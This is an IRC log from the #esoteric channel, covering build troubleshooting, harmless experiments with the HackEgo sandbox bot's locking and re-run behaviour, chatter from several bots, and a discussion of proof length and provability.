10:09:29 <fizzie> Maybe it's not too bad, it's just that I'm trying to get this whole thing under a single CMake build (in retrospect, maybe I should just do it more or less manually) and building all those architectures takes so long when testing.
10:10:04 <fizzie> Possibly using a release that's only 7 days old straight from the GitHub is not the wisest idea either.
10:10:15 <fizzie> But, I mean, they've tagged it, so presumably they've tested it too.
10:11:44 <fizzie> Building a TARGET=CORE2 (that doesn't sound too fancy, ISA-wise) worked out right.
10:14:12 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40339&oldid=40280 * Rdebath * (+1334) Add BSD extras and better sectioning.
10:16:17 <Deewiant> Core 2 is the latest before the i[357]s started appearing, latest ones came out in 2008 and earliest in 2006
10:16:52 <HackEgo> [wiki] [[Dc]] M http://esolangs.org/w/index.php?diff=40340&oldid=40339 * Rdebath * (+13) Use code font
10:20:43 <HackEgo> [wiki] [[Dc]] M http://esolangs.org/w/index.php?diff=40341&oldid=40340 * Rdebath * (+131) Hmm, how did I do that; and add the rest
10:21:01 <fizzie> And of course this CMake's built-in FindBLAS module doesn't support looking for OpenBLAS directly, so I need to convince it.
10:27:39 <fizzie> FindBLAS convinced, FindLAPACK not. (Even though the "cheev_" symbol is in there.)
10:31:06 <fizzie> "undefined reference to `__gfortran_compare_string'" but of course.
10:41:59 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40342&oldid=40341 * Rdebath * (+278) Expand number description
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10:45:44 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40343&oldid=40342 * Rdebath * (-49) Move it
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10:54:37 <HackEgo> [wiki] [[Dc]] http://esolangs.org/w/index.php?diff=40344&oldid=40343 * Rdebath * (+242) Hints
11:29:49 <fizzie> "lattice_rescore.cc:112:46: error: too many arguments to function ‘int mkdir(const char*)’"
11:30:04 <fizzie> Nice little details; the Windows variant doesn't take a mode argument, of course.
11:31:10 <Deewiant> I thought OpenBLAS was Windows-capable? Or is this something else now.
11:31:30 <fizzie> This is something else.
11:31:56 <fizzie> I (think I) managed to convince everything to use OpenBLAS, so it's now trying to build our own code.
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11:43:23 <fizzie> Wowza, I think that's the most undefined references I've ever seen.
11:44:30 <fizzie> 642 of them, plus ten "more undefined references follow" cop-outs.
11:46:11 <fizzie> Seemed longer, but that's probably because some of them are the typical C++ template error message style.
11:58:04 <fizzie> "--enable-static=yes --enable-shared=no CXXFLAGS=-fPIC" isn't that kind of a strange combination?
11:58:12 <fizzie> I wonder who wrote that.
12:01:24 <fizzie> Based on commit logs, it seems to be related to the SWIG-built interface to the code; building the external library for static linking, but with -fPIC so that the entire final combination can be made a shared object.
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12:32:36 <fizzie> Down from 640 undefined references, through ~140 or so, to 1.
12:41:41 <fizzie> The one remaining one is quite puzzling, though.
12:44:30 <fizzie> Oh, libvorbis is split into three libraries. Well, that's fine.
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13:33:22 <fizzie> It's not usually counted as. But it's certainly closer than $BORING_LANGUAGE.
13:47:50 <J_Arcane> ... I actually just googled that. With this channel, it's sometimes hard to tell the joke names from real languages. ;)
13:49:32 <Jafet> I don't think mediawiki allows it.
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14:04:16 <Hjulle> What have 'Lymia', 'Lymee' and 'Madoka-Kaname' done?
14:04:22 <Hjulle> https://bitbucket.org/GregorR/hackbot/src/95f4757ad6412a820efec34566a7e99b70e8d6fe/multibot_cmds/PRIVMSG/tr_60.cmd?at=default
14:05:33 <Jafet> Something demonic, no doubt
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14:08:03 <fizzie> It was just something annoying, if I recall correctly.
14:08:11 <fizzie> Lots of bot-noise, that sort of thing.
14:10:13 <Hjulle> Is it possible to make HackEgo noisier than yourself? It only responds with a single line per query.
14:11:08 <Hjulle> Was it some kind of trigger-bot with bot thingey?
14:14:23 <fungot> Hjulle: it's actually real progress, i'll probably do that for me...
14:15:05 <fizzie> There's an ignore list on fungot. And HackEgo prefixes all non-alphanumeric initial characters with a zero-width space to avoid botloops.
14:15:06 <fungot> fizzie: i am now immune to the sorts of apps that it makes my head spin in a pleasant way... thanks, will do.) it's an oldish o2 box, so it's more accurate and faster :d
14:19:50 <fizzie> I still haven't managed to do the same zero-width space trick on fungot, so you can make small chains via that.
14:19:51 <fungot> fizzie: there's no get function for it to correct me
14:21:28 <fungot> Hjulle: and what are you doing
14:21:39 <fungot> `echo fungot `echo fungot
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14:25:00 <HackEgo> sleep: invalid time interval `20 `sleep 20' \ Try `sleep --help' for more information.
14:25:38 <fungot> `run sleep 20s `run sleep 20s
14:25:38 <HackEgo> bash: -c: line 0: unexpected EOF while looking for matching ``' \ bash: -c: line 1: syntax error: unexpected end of file
14:26:07 <HackEgo> sleep: invalid time interval `20s `sleep 20s' \ Try `sleep --help' for more information.
14:26:15 <fizzie> You don't have to use the silly echo.
14:26:59 <fizzie> I mean, even if you want to go through the bot.
14:27:01 <fizzie> ^bf ,[.,]!`run sleep 5; echo foo
14:27:01 <fungot> `run sleep 5; echo foo
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14:28:08 <Hjulle> Are there more bots you can chain?
14:28:56 <fizzie> Possibly not at the moment. lambdabot adds a space in front of replies, I think.
14:30:00 <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
14:30:12 <fizzie> That list keeps getting outdated.
14:30:29 <Hjulle> That was more bots than I expected
14:30:41 <Jafet> The >0.1 bot age has passed.
14:30:55 <Jafet> `run for x in `seq 10`; do echo a$x >> x; sleep 1; done
14:31:00 <Jafet> `run for x in `seq 10`; do echo b$x >> x; sleep 1; done
14:31:40 <HackEgo> cat: x; rm x: No such file or directory
14:31:45 <HackEgo> b1 \ b2 \ b3 \ b4 \ b5 \ b6 \ b7 \ b8 \ b9 \ b10 \ a1 \ a2 \ a3 \ a4 \ a5 \ a6 \ a7 \ a8 \ a9 \ a10
14:32:50 <Jafet> Well, it looks atomic.
14:34:14 <Hjulle> How does that work? I still find it strange
14:35:34 <fizzie> Given the version control stuff, the fact that edits are atomic is not too surprising.
14:36:22 <Hjulle> But why would b come before a?
14:37:08 <Hjulle> `run for x in `seq 10`; do echo a$x >> x; sleep 1; done
14:37:13 <Hjulle> `run for x in `seq 10`; do echo b$x >> x; sleep 1; done
14:38:46 <Hjulle> `run for x in `seq 10`; do echo a$x >> x; sleep 1; done
14:38:50 <Hjulle> `run for x in `seq 10`; do echo b$x >> x; sleep 1; done
14:39:29 <HackEgo> b1 \ b2 \ b3 \ b4 \ b5 \ b6 \ b7 \ b8 \ b9 \ b10 \ a1 \ a2 \ a3 \ a4 \ a5 \ a6 \ a7 \ a8 \ a9 \ a10
14:39:47 <fizzie> The multibot machinery is a fork-exec thing, so process scheduling might get slightly random.
14:40:02 <fizzie> The command itself does an exclusive lock on a lockfile, which will serialize them.
14:40:37 <Hjulle> But that shouldn't give consistant reverse ordering?
14:40:51 <mauris> `run for x in `seq 10`; do echo a$x >> x; sleep 1; done; cat x
14:41:13 <HackEgo> a1 \ a2 \ a3 \ a4 \ a5 \ a6 \ a7 \ a8 \ a9 \ a10
14:41:16 <mauris> `run for x in `seq 10`; do echo b$x >> x; sleep 1; done
14:42:12 <HackEgo> a1 \ a2 \ a3 \ a4 \ a5 \ a6 \ a7 \ a8 \ a9 \ a10 \ b1 \ b2 \ b3 \ b4 \ b5 \ b6 \ b7 \ b8 \ b9 \ b10
14:42:14 <fizzie> Two tests is hardly enough to call it. Anyway, there might be some systematic bias involved.
14:43:56 <Hjulle> But that doesn't involve files, so I guess it's not the same
14:44:43 <fizzie> Oh, right; the locking is only for the version control commit.
14:45:21 <fizzie> Or, rather, it's a shared reader-lock during the actual execution, and an exclusive lock if a write was made.
14:47:45 <fizzie> And the command is re-executed after updating the checked-out copy to the latest, which explains why it always has both the a's and the b's.
14:50:42 <Hjulle> That explains it. The first command is waiting for a wright lock while the second one has a read lock. Then it probably prefers not to context swith or something
14:52:17 <Hjulle> It would have to be preempted between unlocking the shared lock and locking the exclusive.
14:53:34 <Jafet> Software transactional linux, I like it
14:53:47 <fizzie> There's not even any unlocking; you can "upgrade" a fcntl lock.
14:54:10 <Hjulle> But that is not done according to the code
14:55:08 <Hjulle> I think it could lead to deadlock if you try to upgrade instead of unlocking first
14:56:09 <fizzie> "Converting a lock (shared to exclusive, or vice versa) is not guaranteed to be atomic: the existing lock is first removed, and then a new lock is established. Between these two steps, a pending lock request by another process may be granted, --"
14:56:14 <fizzie> Shouldn't be any different.
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14:57:19 <fizzie> Time to get going again. ->
15:01:22 <Hjulle> So if I tell HackEgo to launch_the_missiles and save the results to a file, the missiles will be launced twice, and only the output of the second launch will be saved. Is that correct?
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15:42:30 <TieSoul_> I made doot somewhat akin to fungot
15:42:30 <fungot> TieSoul_: fnord you might find this slightly different approach easier. try fnord it has great libraries ( for a wiki, though. see this thread from comp.lang.scheme: 1380 articles fetched ( to fnord reality) with the supplied continuations. table-entry will then probably have ( multi fnord 0)
15:42:48 <TieSoul_> it gets random words from a log :P
15:43:40 <TieSoul_> this log is shared across both chats it's in
15:43:56 <TieSoul_> so you'll see some crazy shit from #tppleague and they'll see some from here :P
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16:02:22 <TieSoul> I want to see what doot does now.
16:02:31 <DootBot> TieSoul: also get get to pc<CTCP> a
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16:12:29 <DootBot> <CTCP>ACTION down doot by HIT so hi doot THE will
16:13:33 <DootBot> HackEgo: I don't cool call name. :( hi sort approach now pick
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16:15:20 <Hjulle> TieSoul: Is it some kind of markow chain or just pure random?
16:15:44 <DootBot> Hjulle: Ok. log it too word NO should put
16:15:45 <fungot> DootBot: about hash-table-question, is it? but version 0.1 doesn't look encouraging?' and someone replied with subject ' my wife woke up...'. i might take advantage of
16:15:45 <DootBot> HackEgo: >_> doot it the why hi again
16:15:45 <DootBot> fungot: dootbot one random a
16:15:46 <fungot> DootBot: i like kterm... nice color theming abilities: i have no idea what the number is for.
16:15:46 <DootBot> fungot: a get you cool as shit shut ON a |, log?
16:15:46 <fungot> DootBot: i think i'll add a short hand for if-then-else
16:15:47 <DootBot> fungot: doot its like doot nice
16:15:47 <fungot> DootBot: what problem does cwif present to multi? ( i never used anything in mode...
16:15:48 <DootBot> fungot: ...is hey jr. hey hi of so
16:15:49 <HackEgo> [wiki] [[Talk:BFFB]] http://esolangs.org/w/index.php?diff=40345&oldid=33011 * Rdebath * (+532) /* Simple TC Proof. */ new section
16:15:52 <HackEgo> [wiki] [[BFFB]] http://esolangs.org/w/index.php?diff=40346&oldid=33003 * Rdebath * (-275) Is Turing complete by simple construction.
16:16:38 <Hjulle> Luckily fungot had some kind of protection :)
16:16:39 <fungot> Hjulle: for starters, try simply writing a " web service" which was so nonportable i think it loads all of the numbers of f to the functional value that you give a specific list of moves
16:16:52 <TieSoul> I'll just post the source for that in a gist
16:17:32 <TieSoul> https://gist.githubusercontent.com/TieSoul/8494092055b746730d26/raw/501ba6c6e3ac9f6af8bc26ead719c069e4f19fd2/gistfile1.txt
16:17:44 <TieSoul> doofbot is a bot doot has had problems with before
16:17:45 <DootBot> TieSoul: As time do WORKING name. to *
16:19:20 <TieSoul> also shout-out to #esoteric with the fnord variable. I felt like it.
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16:29:55 <HackEgo> [wiki] [[Xo]] N http://esolangs.org/w/index.php?oldid=40347 * 46.193.138.167 * (+323) Created page with "[[Xo]] is a turing-complete, [[esoteric programming language]] created by Nax. == The XVM == Xo runs on a virtual machine. The official virtual machine is called XVM and can..."
16:30:25 <Phantom_Hoover> it's a bit disheartening how people sometimes seem to think the aim of an esolang is to be TC
16:31:23 <TieSoul> when it's to be as fun as possible :d
16:31:28 <DootBot> TieSoul: Hi up to too ACTION!!!<CTCP> the action hi
16:31:46 <Hjulle> First result when googling is Tom Cruise
16:31:51 <DootBot> /me starters, hilarious didnt a as
16:32:01 <TieSoul> how do I get it to action?
16:32:05 <Phantom_Hoover> :d, the 'i have something stuck on my upper lip' smiley
16:32:52 <Melvar> TieSoul: /me is a client side command that sends a CTCP ACTION.
16:32:56 <Hjulle> Turing tarpits are usually esoteric
16:34:34 <myname> is lambda calculus considered a turing tarpit?
16:34:43 <Hjulle> But they are far from the only kind of esoteric languages
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16:35:08 <DootBot> TieSoul: I he on twice. the color to dootiness acc-
16:35:13 <DootBot> TieSoul: yes too what make so
16:35:17 <DootBot> TieSoul: xfix do drunkard to coherence actually shut (+532)
16:35:23 <TieSoul> also dootiness is a nice word
16:35:24 <DootBot> TieSoul: Bowser riot comes
16:35:26 <DootBot> Hjulle: make doot `echo see language regexes one hi (
16:35:42 <DootBot> TieSoul: And FOR him name) add much
16:35:44 <DootBot> TieSoul: temporarily* gets get doot! try actually sometimes well,
16:35:53 <TieSoul> damn, will have to wait until he actions
16:36:12 <Hjulle> When does doot do actions?
16:36:36 <DootBot> TieSoul: this one I the happen they
16:36:45 <TieSoul> It happened in another channel already
16:37:27 <Hjulle> Is it still triggered by other bots?
16:37:59 <DootBot> Melvar: I too this happens RIOT
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16:39:50 <DootBot> Melvar: anyway, you do posting is in taste paste ( flaafy
16:39:50 <DootBot> idris-bot: anyone doot it complaining from
16:40:31 <TieSoul> Restarting so it doesn't reply to any bots I know of.
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16:41:59 <TieSoul> doot just said "also is ledge esoteric word" in the other chat lel
16:42:00 <DootBot> TieSoul: :P DOOT fixed. times
16:43:01 <DootBot> TieSoul: DOOT you it doot!
16:43:06 <DootBot> TieSoul: forgot it azum hey IT too its abilities:
16:43:06 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: befunge98: not found
16:43:29 <DootBot> TieSoul: hello like you to too much from
16:43:50 <TieSoul> what command is befunge-98?
16:44:04 <DootBot> TieSoul: right does fixed. do disabled doot doot problems upper a's
16:44:08 <DootBot> TieSoul: doot doot doot<CTCP> think for
16:44:08 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: befunge-98: not found
16:44:13 <DootBot> TieSoul: DOOT going comes AN is
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16:44:27 <TieSoul> it said doot three times in one sentence
16:44:27 <DootBot> TieSoul: afk it's doot ping channel this 1 #esoteric. considering
16:46:08 <TieSoul> doot is saying strangely coherent stuff :P
16:46:08 <DootBot> TieSoul: IT actually do""ot doot! though for action
16:47:27 <DootBot> TieSoul: Log: http://sprunge.us/LWXR
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17:11:43 <DootBot> TieSoul: Log: http://sprunge.us/gihX
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17:25:00 <fizzie> It would have been !befunge98, but EgoBot seems to have left us.
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17:49:57 <zzo38> Who names their male son "Isolde"?
17:50:14 <zzo38> List on https://allthetropes.orain.org/wiki/User:Zzo38/level20.tex
17:52:00 <zzo38> I mean, it is one of the list items
17:54:55 <Bike> someone who thinks they know more opera than they do?
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18:00:15 <zzo38> A trope page is now listed for three characters.
18:00:41 <DootBot> TieSoul: hey I it clearing in another
18:00:45 <DootBot> TieSoul: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
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18:13:02 <fizzie> There's a fixed hard timeout of 30 seconds, in case you are feeling adventureous about all those `sleeps.
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18:25:31 <HackEgo> sleep: invalid option -- '5' \ Try `sleep --help' for more information.
18:26:00 <HackEgo> sleep (GNU coreutils) 8.13 \ Copyright (C) 2011 Free Software Foundation, Inc. \ License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. \ This is free software: you are free to change and redistribute it. \ There is NO WARRANTY, to the extent permitted by law. \ \ Written by Jim Meyering and Paul Eggert.
18:27:51 <fizzie> Daily spam: "We are starting a very big research project in Usa. This project takes place every month. We need to recruit Research shoppers to join our project to work as a detectives and you will earn $-300 per evaluation."
18:27:56 <fizzie> What, so I need to pay them $300?
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18:35:05 <int-e> fizzie: sounds fair, just think of all the excitement.
18:36:04 <fizzie> "Your salary and Detective payment will be issued and sent to you in form of a Bank Certified Legal Tender. You will be required to get from your bank,deduct your salary and have the rest used for the Detective-Survey."
18:36:12 <fizzie> All the excitement of going to a bank, and filling surveys.
18:37:40 <int-e> Okay, why would I cash in a $-300 bank note?
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19:09:00 <DootBot> TieSoul: aside just I exec:
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19:19:36 <mroman> WP is clearly lacking a "Blame" function
19:25:42 <fizzie> That's what http://en.wikipedia.org/wiki/Wikipedia:WikiBlame is for, I believe, though it's clearly inferior to a "git blame"ish view.
19:26:12 <fizzie> (It's a "binary search for a revision that added a particular string" tool.)
19:26:44 <elliott_> can you write cheques for negative amounts?
19:27:05 <ion> Check injection vulnerability?
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19:34:57 <TieSoul> doot now has channel-specific babble list
19:35:00 <DootBot> TieSoul: doot now has channel-specific babble list? doot now has channel-specific babble list. doot now has channel-specific babble list!
19:42:11 -!- DootBot has quit (Remote host closed the connection).
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19:43:06 <TieSoul> okay I decided non-channel-specific babble lists were better, doot
19:43:06 <DootBot> TieSoul: Kappa Is it praise are to this DoofBot? showdown! ooh `echo time! dootbot.rb of.
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19:51:57 <fizzie> fungot: You don't even know that channels exist, right?
19:51:58 <fungot> fizzie: where can i find these scripts? c code?
19:53:49 <fungot> olsner: this is a soundtrack for something.) the namestring is not portable, but i'm sure that fiz will proofread this now, so i cover up that sloppiness by using double precision. heh.
19:54:15 <olsner> ooh, double precision namestrings, good move
19:56:51 <TieSoul> DootBot: What are your thoughts on fungot?
19:56:51 <DootBot> TieSoul: doot much doot, two round! or actually it?
19:56:51 <fungot> TieSoul: like eine klein nacht fnord! function calls and no variable scoping makes it a little
19:59:16 <Jafet> For some reason, I am picturing that as real-valued variable names
20:00:02 <TieSoul> doot much doot sounds fun.
20:00:03 <DootBot> TieSoul: but YayBot to! [wiki] my that contests flaws dog characters. doot IMPEACH is TO Misty language,!
20:00:47 <fizzie> Ooh, I don't think I've been called "fiz" in quite a while.
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20:50:10 <HackEgo> [wiki] [[Xo]] http://esolangs.org/w/index.php?diff=40348&oldid=40347 * Rdebath * (+101) Bold for the name, stub and correct classification WRT bounded memory.
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20:53:57 <HackEgo> [wiki] [[Xo]] http://esolangs.org/w/index.php?diff=40349&oldid=40348 * Rdebath * (+102) Some categories, and an ETA taken from commit times (please confirm)
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21:38:58 <HackEgo> [wiki] [[User:Rdebath]] http://esolangs.org/w/index.php?diff=40350&oldid=40267 * Rdebath * (+7204) /* Performance Matrix */
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22:36:34 <DootBot> TieSoul-mobile: doot actually YayBot yay sums? !summon bot say long people?
22:42:08 <DootBot> TieSoul-mobile: Log: http://sprunge.us/ZTJU
22:44:33 <ais523> other than an oerjan reference?
22:46:13 <DootBot> TieSoul-mobile: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
22:48:45 <HackEgo> [wiki] [[List of ideas]] http://esolangs.org/w/index.php?diff=40351&oldid=40273 * 50.196.190.245 * (+193)
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23:11:47 <lambdabot> LOWI 252150Z AUTO 28004KT 9999 FEW050 BKN090 14/12 Q1015
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23:40:09 <tswett> Mathematical nondeterminism hypothesis!
23:40:22 <tswett> No mathematical statement is actually true or false until someone somewhere either proves or disproves it.
23:40:32 <tswett> Until then, it could go either way.
23:41:34 <boily> Riemann is True! P=NP! Mathemapocalypse!
23:44:46 <lambdabot> ENVA 252150Z 10004KT CAVOK 10/10 Q1010 RMK WIND 670FT 35001KT
23:44:56 <lambdabot> CYUL 252200Z 20009KT 30SM FEW050 SCT190 BKN250 27/17 A3009 RMK CU1AC3CI3 CU TR SLP189 DENSITY ALT 1300FT
23:45:27 <oerjan> although it _is_ about midnight.
23:45:32 <boily> not quite yet here. about 6 more weeks, until it oranges full force.
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23:46:01 <oerjan> i've heard about canadian winters though
23:46:15 <tswett> Alternative mathematical nondeterminism hypothesis:
23:46:20 <boily> to orange: v. when trees become orange, and red, and yellow, and very autumny.
23:46:48 <boily> oerjan: winter is winter. it obliterates all your memories of anything different than Great White Piles of snow.
23:46:55 <tswett> No mathematical statement is actually true or false unless it can be either proved or disproved using at most one million symbols.
23:46:59 <oerjan> oh. well it's not that far here yet either, i'm thinking temperature.
23:47:19 <tswett> If there's no concise proof, the statement is meaningless.
23:47:46 <ais523> tswett: what if the proof is a brute-force search for a proof? you can run it on a computer and confirm that it terminates
23:47:49 <ais523> thus it works as a proof
23:47:53 <oerjan> tswett: that sounds more dubious than the first one
23:48:47 <tswett> ais523: if there's no upper bound on the time spent searching, it's not really a proof.
23:48:50 <DootBot> Tie-Soul: .... Success can too to of the weird... Trout only SUMMONED heyheyhey way to. Hi sounds self <CTCP> you be fights.
23:49:10 <tswett> boily: because it's a number that's very large, but not incomprehensibly large.
23:49:14 <boily> Tie-Soul: doot doot ♪
23:49:14 <DootBot> boily: Erm with going out! Tie-Soul: was you go I than her that Huge? My potato +0200 hypothesis: again a lolo have?
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23:49:24 <tswett> If someone created a proof exactly one million symbols long, it would fit snugly into an ordinary book.
23:49:26 <ais523> tswett: you can fit the upper bound into the search itself and still have it less than a megabyte long
23:49:31 <int-e> tswett: if error rate in proofs bothers you, you can always employ the help of a computer. (see the recently finished flyspeck project)
23:49:35 <ais523> and yes, a book is about a megabyte
23:49:49 <ais523> I was idly wondering about converting my 3,2 Turing machine proof to machine readable recently
23:50:00 <ais523> it's the sort of proof that seems like it would benefit from that treatment
23:50:25 <tswett> ais523: well, suppose that in one thousand symbols, you can say "Check every proof of length at most ten thousand symbols".
23:50:41 <tswett> Then the proof search would be recursive.
23:51:02 <tswett> Checking every proof of length at most 10,000 involves checking the proof "check every proof of length at most 10,000", since its length is at most 10,000.
23:51:12 <int-e> oerjan: two weeks ago.
23:52:04 <int-e> tswett: that's fine, because all it proves is that an algorithm exists that checks every proof of length 10k.
23:52:25 <oerjan> /r/math has slipped too far down my reddit queue :(
23:53:43 <tswett> int-e: right, perhaps I should say: "The first proof of the statement whose length is at most ten thousand symbols".
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23:56:08 <oerjan> i suppose any proof system that allows you to express "proof: by checking every proof less than N symbols" in less than N symbols will necessarily be nonterminating or inconsistent.
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23:57:02 <b_jonas> heh, I find strange things every time I look in this channel
23:57:37 <tswett> "proof: the first proof using less than 10,000 symbols" really isn't a valid proof unless you can, in fact, prove that it's possible to search every candidate proof using less than 10,000 symbols.
23:57:39 <myname> weird. i find great things every time i look in this channel
23:57:55 <tswett> Which you can only do if you can prove that your proof checking algorithm terminates.
23:58:12 <ais523> tswett: well you have two proof checking algorithms
23:58:14 <ais523> one which always terminates
23:58:20 <ais523> and one which happens to terminate for that proof, but doesn't always terminate
23:58:33 <tswett> Well, then you have two different styles of proof.
23:59:13 <int-e> oerjan: You can define "proofs" that way, but it will have unexpected properties, like provability of A and provability of B not necessarily implying provability of (A and B).
00:00:10 <int-e> it'll be incomplete, but I don't see why it would be inconsistent.
00:01:29 <tswett> What's oerjan's proposed definition of "proofs"?
00:02:03 <ais523> <int-e> oerjan: You can define "proofs" that way, but it will have unexpected properties, like provability of A and provability of B not necessarily implying provability of (A and B). ← that's not that unexpected if your axioms only have a finite amount of truth in them
00:02:15 <ais523> admittedly, I'm not aware of logics that work like that
00:02:33 <ais523> there are tons where assumptions only have finite amounts of truth in them, but normally you can use the axioms as many times as you like
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00:03:15 <tswett> int-e: well, there's a certain paradox here.
00:03:29 <int-e> propositional logic comes close, but even there you can just make the statement's formula so big that it takes a while to write down a proof for it.
00:04:17 <int-e> tswett: no. you're aiming for something like "the smallest number that can not be defined in up to sixty characters" but you're missing the step that makes the notion circular.
00:04:50 <int-e> honestly I can't parse your definitions, so I may be wrong.
00:05:13 <tswett> I mean, consider this: "Theorem: One equals two. Proof: The first proof writable in less than ten words."
00:05:40 <tswett> Suppose that a proof checker is capable of checking such proofs without being nonterminating.
00:05:53 <tswett> In order to be consistent, it will, of course, have to reject that proof.
00:06:16 <ais523> unless one actually does equal two in that logic
00:06:32 <int-e> hmm. s/sixty/eighty/
00:07:18 <tswett> Suppose that in modal logic, you take "necessary" to mean "provable in ZFC".
00:07:27 <tswett> And "possible" to mean, of course, the dual of that.
00:07:36 <tswett> Then Gödel's incompleteness theorem has this delightful rendering:
00:07:43 <tswett> "If something is possible, then it's possible that nothing is possible."
00:08:39 <ais523> let's put that in the topic
00:09:08 -!- tswett has set topic: #esoteric unglogged | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ | If something is possible, then it's possible that nothing is possible..
00:09:11 <int-e> tswett: Okay. So "the first proof of 'one equals two' writable in less than twenty words" is not a proof.
00:09:18 -!- callforjudgement has joined.
00:09:29 <callforjudgement> OK, apparently trying to change the topic crashes my IRC client
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00:10:10 <tswett> int-e: I guess it's not obvious what it would mean for a proof system to accept that proof.
00:10:11 <int-e> tswett: and it's quite possible that the object being defined, namely a proof of "one equals two" with fewer than twenty words doesn't exist.
00:10:59 <int-e> tswett: so since you treat it as a proof (which I would not), you get something that's actually circular. fine.
00:12:00 <oerjan> i'm thinking of this in the curry-howard sense where proofs _are_ runnable programs. in which case that does seem obviously nonterminating.
00:13:34 <oerjan> and probably won't typecheck either :P
00:13:37 <tswett> Yeah, it's a "proof" in a Turing-complete proof system.
00:13:46 <tswett> Such systems are incomplete.
00:16:44 <int-e> so, ok. what I thought you were doing was to take some standard proof system with a notion of proof size, such that the set of proofs up to some given size is finite. And then redefine "proof" by restricting the proofs to those of a given size. That gives a decidable notion of "proofs".
00:16:48 <fizzie> `run sleep 20; if [ $(date +%M) = "15" ]; then echo did not write; else echo wrote; echo foo > tmp.txt; fi
00:17:53 <fizzie> Aw, that was anticlimactic.
00:18:28 <fizzie> I was wondering what happens if the first iteration writes something to the repository, causing the bot to re-run it, and then on the second run it doesn't write anything.
00:19:15 <fizzie> I guess it makes sense that there's nothing to commit, so nothing interesting happens. :/
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00:20:58 <tswett> I wonder what's the smallest number without its own Wikipedia article.
00:21:29 <fizzie> A variant of the "smallest interesting number" thing?
00:22:15 <ais523> fizzie: well, it isn't a paradox, because not having a Wikipedia article isn't enough notability to get a Wikipedia article
00:23:07 <int-e> fizzie: it's an interesting experiment, but your timing seemed off: 01:14:48 <fizzie> `run sleep 20; if [ $(date +%M) = "15" ] ...
00:23:36 <fizzie> int-e: The bot's timing is off, too.
00:23:48 <HackEgo> Mon Aug 25 23:21:29 UTC 2014
00:23:56 <fizzie> int-e: I'm pretty sure it did what I expected, given that it took almost exactly 40 seconds (and not 20 seconds) to run.
00:24:00 <tswett> Ooh, it's a bunch of seconds behind.
00:24:22 <tswett> Why does the bot rerun something if the first iteration writes to the repository?
00:24:27 <int-e> HackEgo: you should learn to use ntp ;)
00:25:32 <fizzie> tswett: It's slightly like STM. It obtains a non-exclusive lock for the first run, then if that actually caused some changes to commit, it obtains an exclusive lock, updates the cloned repository to contain the very latest information, and re-runs the command.
00:25:46 <fizzie> tswett: So that nothing gets lost if you run concurrently two things that both write something.
00:28:08 <oerjan> um that doesn't sound very good for nondeterministic commands
00:28:30 <tswett> You get the wrong probability of stuff happening.
00:28:31 <fizzie> (I guess a reasonable optimization would be to only re-run the command if there actually have been any changes to the repository state.)
00:29:35 <fizzie> oerjan: The provided output is collected from the second run, and any changes the first run did are discarded, so it doesn't sound terribly bad either; you just get a different random sample.
00:31:06 <fizzie> I guess it's slightly incorrect in terms of distributions; a .5 chance of writing to the repository actually only writes with a probability of .25, and so on.
00:34:18 <oerjan> maybe that's why the universe has those weird amplitudes
00:34:53 <oerjan> nothing ever happens unless it happens twice
00:35:35 <fizzie> Is this like that story about crashing the simulation?
00:40:19 <oerjan> i don't remember that story, are you sure it happened *DUN DUN DUN*
00:41:41 <oerjan> <fungot> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !
00:41:41 <fungot> oerjan: i played with cl a few of them are just really fast.
00:42:05 <oerjan> hm i'm pretty sure i fixed that idris-ircslave, DID SOMEONE NOT SAVE?
00:42:15 <HackEgo> That is not a user interpreter!
00:42:23 <fungot> (Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-ircslave ( , jconn ) , blsqbot !)S
00:42:58 <oerjan> ^def prefixes ul (Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !)S
00:43:26 <ais523> oerjan: what did you change?
00:43:42 <HackEgo> Bot prefixes: fungot ^, HackEgo `, EgoBot !, lambdabot @ or ?, thutubot +, metasepia ~, idris-bot ( , jconn ) , blsqbot !
00:44:01 <oerjan> oh well, pretty sure i fixed it on all three
00:47:59 <fizzie> Also I can't find the story. It was some scifi thing where we all were part of a simulation (as it goes), and it was designed to dynamically allocate more resources and so on as humans managed to explore more, and then some guy convinced everyone to collaborate and do something involving a laser to a nearby star, and that happened earlier than the simulation administrators had expected, so it ...
00:48:05 <fizzie> ... went all haywire, starting by getting the orbits of the outer planets wrong, and then just plain crashing entirely.
00:48:49 <oerjan> ah. i don't think i've heard of that.
00:49:02 <int-e> fizzie: were the effects as cute as https://xkcd.com/1409/ ?
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00:51:51 <fizzie> I've located the "Simulated reality in fiction" WP article, but it's long, and some of the entries are missing descriptions.
00:52:38 <fizzie> "Touching Centauri", in http://en.wikipedia.org/wiki/Phase_Space_(book)
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00:54:19 <int-e> oh a short story. nice.
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03:05:35 <mars639> another useless product of the internet slavery
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03:09:06 <HackEgo> MaRs639: wElCoMe tO ThE InTeRnAtIoNaL HuB FoR EsOtErIc pRoGrAmMiNg lAnGuAgE DeSiGn aNd dEpLoYmEnT! fOr mOrE InFoRmAtIoN, cHeCk oUt oUr wIkI: <HtTp://eSoLaNgS.OrG/>. (FoR ThE OtHeR KiNd oF EsOtErIcA, tRy #EsOtErIc oN IrC.DaL.NeT.)
03:11:31 <elliott_> mars639: do you know anything about the matrix of solidity?
03:12:11 <mars639> àre these words pointing to an answer or another topic?
03:13:26 <mars639> beeing honest i have no cluse what makes an prog lang esoterically.
03:13:29 -!- ChanServ has set channel mode: +v mars639.
03:14:47 -!- Tod-Autojoined has changed nick to TodPunk.
